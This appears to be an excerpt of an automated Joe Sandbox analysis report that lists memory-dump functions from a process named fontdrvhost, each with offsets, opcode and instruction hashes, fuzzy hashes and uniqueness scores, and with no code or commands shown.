Source File: 00000009.00000002.1845074702.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba10000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: feadd5f3ed811bf746adad8455719fb3a8b096feebf0be681ac67250bf3655ec
Instruction ID: 284e728ef956570969c66901c45aebbcb0aa434e0f65fd9909cf090360536080
Opcode Fuzzy Hash: feadd5f3ed811bf746adad8455719fb3a8b096feebf0be681ac67250bf3655ec
Instruction Fuzzy Hash: A2315B35B0E68E8BE771ABA8C8212FDB760EF41310F05567BC495971E2CBB82605CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA28799 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA28000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA28000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba28000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1ddbbd2381e3bfdc8ca596a819513303e729034da7161904b9e12ab6aaba651
Instruction ID: 7432a3b4b7dfb934ba99c2b2c40ec20674abcfedb05fe8c63557558ba2b7220b
Opcode Fuzzy Hash: c1ddbbd2381e3bfdc8ca596a819513303e729034da7161904b9e12ab6aaba651
Instruction Fuzzy Hash: E5318E30A1964D8FDB54DF58C8A5AEE7BF1FF58314F06026AE849E3291CB74E940CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA5B613 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cca38ddba03cf9a8ec44b1f2999655855ec486fefb1f535384a4a76a8ac47b4
Instruction ID: 28763b2d05daa8eab81669e8eb38d7a9ee5e4684f6d49285fe157c3648bbc719
Opcode Fuzzy Hash: 2cca38ddba03cf9a8ec44b1f2999655855ec486fefb1f535384a4a76a8ac47b4
Instruction Fuzzy Hash: 95315C70E19A4D8FDB94EFD8C4A5AACBBF1FF58301F450179D409D32A5DAB46981CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA15D41 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba10000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b5a0baa8f5dd338e358dc8ff2bc3a874cf52208aca2c85c73d9bb3487e437ad
Instruction ID: 6efc48f67c9d504063f17ccf513f404440c484986cf579aaf627afe47f80fdff
Opcode Fuzzy Hash: 0b5a0baa8f5dd338e358dc8ff2bc3a874cf52208aca2c85c73d9bb3487e437ad
Instruction Fuzzy Hash: B431B870A0491C8FCFA8DF18C854BE9B3F1EB68305F1041EAD10EE32A5DA75AA84CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA1C4A8 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA1B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA1B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba1b000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 903c70220e01420ed492c987d3db88fa00edd6c1f8691b28993fab26b69ede54
Instruction ID: 99680d8786faf20331e6cd5e8022ba9e21485e041040105a991c7b8e2fecea2d
Opcode Fuzzy Hash: 903c70220e01420ed492c987d3db88fa00edd6c1f8691b28993fab26b69ede54
Instruction Fuzzy Hash: 5F31DC70E0962D8EEBB4EB54C8587F876F1EF55701F4110F9D04DA6691DAB86BC48F01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA111A2 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba10000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 874daa2425092e849b98068fbe8491235e27b79726afbb59b75cd16d5a58652b
Instruction ID: 4e8b2d31340e8424bb7fa14b153fb2dfd1c4fff1cc96bf3e318171d8bdcec7cc
Opcode Fuzzy Hash: 874daa2425092e849b98068fbe8491235e27b79726afbb59b75cd16d5a58652b
Instruction Fuzzy Hash: A821E930A1891E8FEB94EBA8C8949BDB7F1FF28300B11057AD419D72A5DB74A941CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA5AFD9 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61f3840982e0c7f5ea131815a9ebede10ac20086c0d136af40d49b466d88c0ff
Instruction ID: 0ed936b4c1f749bda66cc8f799b72e91ef8d765b855d62c08cfc351ca11c3b82
Opcode Fuzzy Hash: 61f3840982e0c7f5ea131815a9ebede10ac20086c0d136af40d49b466d88c0ff
Instruction Fuzzy Hash: 2A11063190858D8FCF91EFA8C8A59EC7BB0FF14300F0501E6D45DC71A2CA74AA40CB10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA69DA1 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10d2ffdba93211575631726eb6d5cc443a8555724fe004a72b2e4c727d4bb858
Instruction ID: 388d8cab4ed156466795824d1fe972bd86b7525f313d9306313598239a9693c5
Opcode Fuzzy Hash: 10d2ffdba93211575631726eb6d5cc443a8555724fe004a72b2e4c727d4bb858
Instruction Fuzzy Hash: A4111C6544E3C99FDB439B748C352D47FB0AF13224F0A01DBE894CB0A3D26D5A5AD722

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA324A0 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA2B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA2B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba2b000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d6ae5e99cab87f608016c3f029b630e15d1f01a017cf3f25e9a44b3c35e4cd8
Instruction ID: 7209878f5f9167a69cce637485e407ff43ed0933811355bdfa5d2ce6db1f3e84
Opcode Fuzzy Hash: 8d6ae5e99cab87f608016c3f029b630e15d1f01a017cf3f25e9a44b3c35e4cd8
Instruction Fuzzy Hash: 53119131A08A4D8FDF85EFA8C899AEE7BF0FF54305F0401AAD41DC7151DA30A554CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA1C66E Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA1B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA1B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba1b000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30a68085a44d1b654a5b9e7dcb236b627966d64d9156d62b467fc615dca8df6d
Instruction ID: 403bbc5639b1e0e273bba71fd6d3180868a2b6b6d3268f6e621205428591d448
Opcode Fuzzy Hash: 30a68085a44d1b654a5b9e7dcb236b627966d64d9156d62b467fc615dca8df6d
Instruction Fuzzy Hash: B921B530E1952D8EEBA4EB54C8987EDB2F1FF55301F5410EAC04DA66A1DAB86AC08F01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA1C3F7 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA1B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA1B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba1b000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ceb97c697304d05428d772a3fa5abf6b601bf1fc05521eb88c6f5e50f1f6271
Instruction ID: b9af83af9b1250780ba663e9ecce51698cde214dd583b0a262a56040bf0f0b58
Opcode Fuzzy Hash: 7ceb97c697304d05428d772a3fa5abf6b601bf1fc05521eb88c6f5e50f1f6271
Instruction Fuzzy Hash: A421F770E0D52D8EEBB0DB54C8983FDB2B1EF95300F4110E9C04DAA291DABC2B808F41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA6A406 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 950f6e42bafe18b8e12865414efc393a42e473b124a2d77634e2b6a032712ad6
Instruction ID: 70503b9b2f6b35a722a4711cbcc5d903cfec1c8e8979b30ca223aa933dfc1cc0
Opcode Fuzzy Hash: 950f6e42bafe18b8e12865414efc393a42e473b124a2d77634e2b6a032712ad6
Instruction Fuzzy Hash: 4121E8B0E0961DCFDB68DB98D8A95ED77B1FF58305F11013ED00AA3295CB786906CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA6A72D Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9714a707d160ecc646f928f60b10ea25a89de3fb5c3a83a8f7d1eca682c2e46e
Instruction ID: d3a5e8a0cb79e87f61484a68bf710c6f470141d2d434d81ff3d5370c80ab0fce
Opcode Fuzzy Hash: 9714a707d160ecc646f928f60b10ea25a89de3fb5c3a83a8f7d1eca682c2e46e
Instruction Fuzzy Hash: BA11E572A0954DCFDF94EF68C4A59EC7BB0FF65310F0501A6E00DC71A2DA71AA80CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA10C40 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba10000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59fe659a0e7615bd8a75495e56333b1b17365886a454297e14fabf15ec6c9ce5
Instruction ID: 744442af3a1a31f3c44cd5ebe9e3665348088bc673d49e99782f726e61eef2b8
Opcode Fuzzy Hash: 59fe659a0e7615bd8a75495e56333b1b17365886a454297e14fabf15ec6c9ce5
Instruction Fuzzy Hash: F9112B35B0E69E8AF722EB68C8202EEB760EF41710F054677D495972E2CF782205CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA6832D Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6ed4de2593f6dc551e8f1c39706bf0d5811396259957edd4a7cbb6056152135
Instruction ID: 5b358038cc4e93f1b2688acf53fbdc7d20a8af1df2ee7e2ae27f01177d8bf0a6
Opcode Fuzzy Hash: d6ed4de2593f6dc551e8f1c39706bf0d5811396259957edd4a7cbb6056152135
Instruction Fuzzy Hash: 05119171A0E68ECFEB61ABA488656E87BA0FF15304F0944F7E45CC61E2DA786684C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA660F9 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b6974ffcc196cff5232382b01deab648dbfc727668c4f788cc3aa35fe31e9e2
Instruction ID: 1a6f79f392363495c0d63ed567c0b9d77ebd18bbc4033029f99b02b393dee04c
Opcode Fuzzy Hash: 8b6974ffcc196cff5232382b01deab648dbfc727668c4f788cc3aa35fe31e9e2
Instruction Fuzzy Hash: 87111C7090868D8FCF95EF68C859AE97BF0FF29300F05019BE459D72A1D7749554CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA2818D Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA28000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA28000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba28000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fc2b2737936decf86b66ed1af78389a234cbb3cc790eb781272f3bc23760d09
Instruction ID: 455c58d550d43b2a6de8ae58f9f99ea5e75cbdb40e93fa3c4c74e24e56651b9a
Opcode Fuzzy Hash: 3fc2b2737936decf86b66ed1af78389a234cbb3cc790eb781272f3bc23760d09
Instruction Fuzzy Hash: 07016861E8F64D4AE710AF64D8212FC77E0EF41320F064173E518921D3DE7866068351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA66239 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac8ffa793b34ba38e5f28516172369dd5e8d96f396beb0552142801e6d0d6626
Instruction ID: d90da9b552f37ceca207e9e8c50adf2cf8ddc7a8fafb52de69174e1fbfe5da1e
Opcode Fuzzy Hash: ac8ffa793b34ba38e5f28516172369dd5e8d96f396beb0552142801e6d0d6626
Instruction Fuzzy Hash: B3112A70908A8D8FDF85EF68C859AE97BF0FF69300F0501AAE448D72A1DB74D554CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA28931 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA28000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA28000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba28000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1885ce69829ea3964f73f8b373fa9ed5783b9eca8b7ae1fc6edd9c37241f82b7
Instruction ID: 155fe730da7e88997ad247b2896edcadac8237875c2ef1c9666669f068094d5d
Opcode Fuzzy Hash: 1885ce69829ea3964f73f8b373fa9ed5783b9eca8b7ae1fc6edd9c37241f82b7
Instruction Fuzzy Hash: AE014C7095968D8FCB85DF18C892ADD3BE0FF18714F0501AAE849C3251D734E950CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA5B039 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b3dac824fc9754b4fcece005985f575f697184a7ae045991fcb0f27998eb6b8
Instruction ID: 81534afb0527442f87ffe2270dfdbdd3b0816acaeefc7ec49eae00981073bce1
Opcode Fuzzy Hash: 6b3dac824fc9754b4fcece005985f575f697184a7ae045991fcb0f27998eb6b8
Instruction Fuzzy Hash: 6F112E70908A8D8FDF85EF68C899AAD7BF0FF28301F0505AAD459C7161D7749554CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA2FA78 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA2B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA2B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba2b000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 812c0ba73054f6f1f739a91ca5263449c9c06e83ae0784cc343d14cf8cdbc50f
Instruction ID: 9aab41b4866d6af7ee4425528c75a7d3a3d888248e3045d8bec63d954f6a8a12
Opcode Fuzzy Hash: 812c0ba73054f6f1f739a91ca5263449c9c06e83ae0784cc343d14cf8cdbc50f
Instruction Fuzzy Hash: F301A27194E3CA4FDB539FB489606D83FB0BF13250F4A01EBE494C70A3EA695A19C712

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA66A19 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe5074bde4eceff5e98bde0cf86726f119bcb0179e08a5519ecc6aadaf6196d7
Instruction ID: d91745f7d68881cf6644635b9ba67d4d317094d3f8997a2bbaa2921d9b661647
Opcode Fuzzy Hash: fe5074bde4eceff5e98bde0cf86726f119bcb0179e08a5519ecc6aadaf6196d7
Instruction Fuzzy Hash: 1A014C7090864D8FCF95EF68C858AEA7BF0FF69300F05019AE418D72A2DB749954CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA5D7D9 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab13d64d09cb530896a0c4cabc34fbefc85f58ca0f08f3756fe62e965b5e4a63
Instruction ID: aa2f1cce5d965b91a5c04d740ce4163fb4712c9cb5cdb145ef5b82b686e6eae0
Opcode Fuzzy Hash: ab13d64d09cb530896a0c4cabc34fbefc85f58ca0f08f3756fe62e965b5e4a63
Instruction Fuzzy Hash: 0D015E3090968C8FCF45EF68C869AD97FB0FF29304F0501AAE459C71A1DB74AA54CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA1C623 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA1B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA1B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba1b000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 965526086f8611fe5ebdf91fd2749057533124fb331b32f19c1ca7880f3b7cb1
Instruction ID: e6fead0fe8045d220411cbbb937cf24d6b8c07e7006c33583dc8eadcd91f250a
Opcode Fuzzy Hash: 965526086f8611fe5ebdf91fd2749057533124fb331b32f19c1ca7880f3b7cb1
Instruction Fuzzy Hash: 6D11D630E0952D8EEBB4DB44C9987B9B2B1EF91701F4550F9D04DAA2A1DAB86BC4CF01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA5CB69 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb70a15de6585db8add506b4dcba774ca93ae355f5155ec5c2e598688597bff0
Instruction ID: 5427b110fa0ebef080722405d89d7365576bfa4ed664d63f69a1142a63eb570c
Opcode Fuzzy Hash: fb70a15de6585db8add506b4dcba774ca93ae355f5155ec5c2e598688597bff0
Instruction Fuzzy Hash: 49014C30908A8C8FCB45EF68C869A997FF0FF69301F0601AAE449D71A1D7749A94CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA66250 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5ca601035401ff0b9106d94ec89c9b5fa4825d3172ff8dc520c4ed251fdaffe
Instruction ID: 9cda65b3d74d5ee7cd294818d58d6a1fb37dd189b07de1de7e26f9814bf1cac8
Opcode Fuzzy Hash: d5ca601035401ff0b9106d94ec89c9b5fa4825d3172ff8dc520c4ed251fdaffe
Instruction Fuzzy Hash: FD01A870914A4D9FDF84EF68C849AEE7BF0FB68305F00056AA85DD3264DB71E594CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA66110 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f092b89cb36c470110e2aa4a73b53a619a30db169a6878e3e6debd28dee1610f
Instruction ID: 134b87ba6a565abfffa0aa259eb8f5ddc57c55e139c938a92775c8563c4d24c2
Opcode Fuzzy Hash: f092b89cb36c470110e2aa4a73b53a619a30db169a6878e3e6debd28dee1610f
Instruction Fuzzy Hash: 7801A870914A4D9FDF84EF68C849AEE7BF0FB68305F00056AA85DD3260DB71E694CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA63549 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c56eccfc656b8e973dfc67861853442708201ba9d4e3ef66baeb3f02ebe4ac94
Instruction ID: 570d6c1dc3c992c8fcd4e898c968a8b447244bd2eff2fd71d823361f9a7952e6
Opcode Fuzzy Hash: c56eccfc656b8e973dfc67861853442708201ba9d4e3ef66baeb3f02ebe4ac94
Instruction Fuzzy Hash: BF01407090968DCFCB85DF58C8546A97BF1FF29300F05019AD419C71A2D7749954CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA28E25 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA28000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA28000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba28000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebcea49ff4b3e6edb30eee7e05d543372c2ab0872856939891abeaeda2977d38
Instruction ID: b6e73b6fdc8098d430be3702b30a3797c336937493a537601d5e23ca64c19f1d
Opcode Fuzzy Hash: ebcea49ff4b3e6edb30eee7e05d543372c2ab0872856939891abeaeda2977d38
Instruction Fuzzy Hash: 1E014B7191964C8FDB45EF28C8515E93BB0FF68315F5502AAF848C32A1D734EA54CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA5B119 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42d3b6ed7f4e3fad1448092a12e9e1d2f902d49054b62a887fef3d4fe4a84dec
Instruction ID: caebe633962a5995de6a0fc2a50f5a76f71572231a8a93e7687a6f363351e80b
Opcode Fuzzy Hash: 42d3b6ed7f4e3fad1448092a12e9e1d2f902d49054b62a887fef3d4fe4a84dec
Instruction Fuzzy Hash: 1401713090968C8FCF85EF64C864AA97FB0FF25301F4500DAE449C71A2D7749554CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA69AD9 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d270dc113d78e9273dfcfac49c9c53d425031652d20ec328e71bed7fad7cf92a
Instruction ID: 0705b21b7f68318af5cc571442d3da8ecdc1a2e1e68e8fa14bc878af3ad91016
Opcode Fuzzy Hash: d270dc113d78e9273dfcfac49c9c53d425031652d20ec328e71bed7fad7cf92a
Instruction Fuzzy Hash: C5015A70A08A8D8FDF85EF68C868AA97BF0FF29300F0504ABD418C71A2DB749954CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA6A6C9 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70dc49173dc0a3a70aed1f94c8f5900603e8d7ed6a03485770723b10bb6c8a3c
Instruction ID: e98dfdd03e503cbdbd3d3d89ee69e4b7ec4802941ea7f45f99a1035bcbb45612
Opcode Fuzzy Hash: 70dc49173dc0a3a70aed1f94c8f5900603e8d7ed6a03485770723b10bb6c8a3c
Instruction Fuzzy Hash: 17014F7190968C8FCB95DF64C894ADD7FB0FF65300F0501DAE459C71A1D775A954CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA62C79 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA5A000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA5A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba5a000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5409642b23cddce5fcf2e22ada1a9ed551b93d3d1424217aabefa28ed75f1eff
Instruction ID: ba57752d3b8a9586a8815e42712b1fcf59f3e1d3860187a6ab185201575ff11a
Opcode Fuzzy Hash: 5409642b23cddce5fcf2e22ada1a9ed551b93d3d1424217aabefa28ed75f1eff
Instruction Fuzzy Hash: 7601A27190968C8FCB85DF54C894AE97FB0FF69300F0500DAE409C71A1D7749A94CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA3159F Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1845074702.00007FFD9BA2B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA2B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ffd9ba2b000_fontdrvhost.jbxd

Similarity

API ID:
